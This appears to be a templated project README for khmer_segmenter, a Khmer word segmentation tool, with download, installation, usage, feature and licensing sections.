Schapeedy1

🌟 khmer_segmenter - Simple and Efficient Word Segmentation

👋 Introduction

Welcome to khmer_segmenter! This tool helps users effectively segment Khmer text into words. Built for simplicity and performance, it requires no additional dependencies. Use it to improve your language processing tasks easily.

🚀 Getting Started

🛠️ System Requirements

• Operating System: Windows, macOS, or Linux
• Memory: At least 256 MB of RAM
• Disk Space: 50 MB of free space for installation
• Python 3.7 or higher is recommended for any additional scripting needs.

📥 Download Now

📦 Download & Install

To get started, visit this page to download: Releases Page.

1. Go to the above link.
2. Find the latest version of khmer_segmenter.
3. Download the appropriate file for your operating system.

💾 Installation

Once the download is complete:

• Locate the downloaded file.
• Run the installer by double-clicking it.
• Follow the on-screen instructions.

⚙️ Usage

After installation, you can start using khmer_segmenter to process your Khmer text files. Here’s how to use it:

1. Open your terminal or command prompt.
2. Navigate to the folder where khmer_segmenter is installed.

3. Use the command:

   khmer_segmenter <your_input_file.txt>
   

Replace <your_input_file.txt> with the path to your Khmer text file.

🌐 Features

• High Performance: Utilizes the Viterbi algorithm for accurate word segmentation.
• Zero Dependency: Start using it immediately without complex setups.
• Lightweight: Designed to function efficiently even on devices with low memory.
• Portable: Works across different operating systems seamlessly.
• Easy to Use: Simple commands make it accessible for everyone.

🔍 Example

As an example, if you have a text file named example.txt with Khmer text, you would run:

khmer_segmenter example.txt

This command processes the file and outputs the segmented words in the terminal.

💡 Tips

• Keep your text files clean and formatted properly for the best results.
• Experiment with different types of Khmer text to see how well the segmenter performs.

✨ Contributing

If you wish to contribute, feel free to fork the repository and submit a pull request. Your feedback helps make khmer_segmenter better.

📞 Support

For any questions or issues, please check the Issues section on GitHub.

🎉 Acknowledgments

Special thanks to the developers and contributors who helped make this project possible.

📜 License

This project is licensed under the terms of the MIT License. See the LICENSE file for details.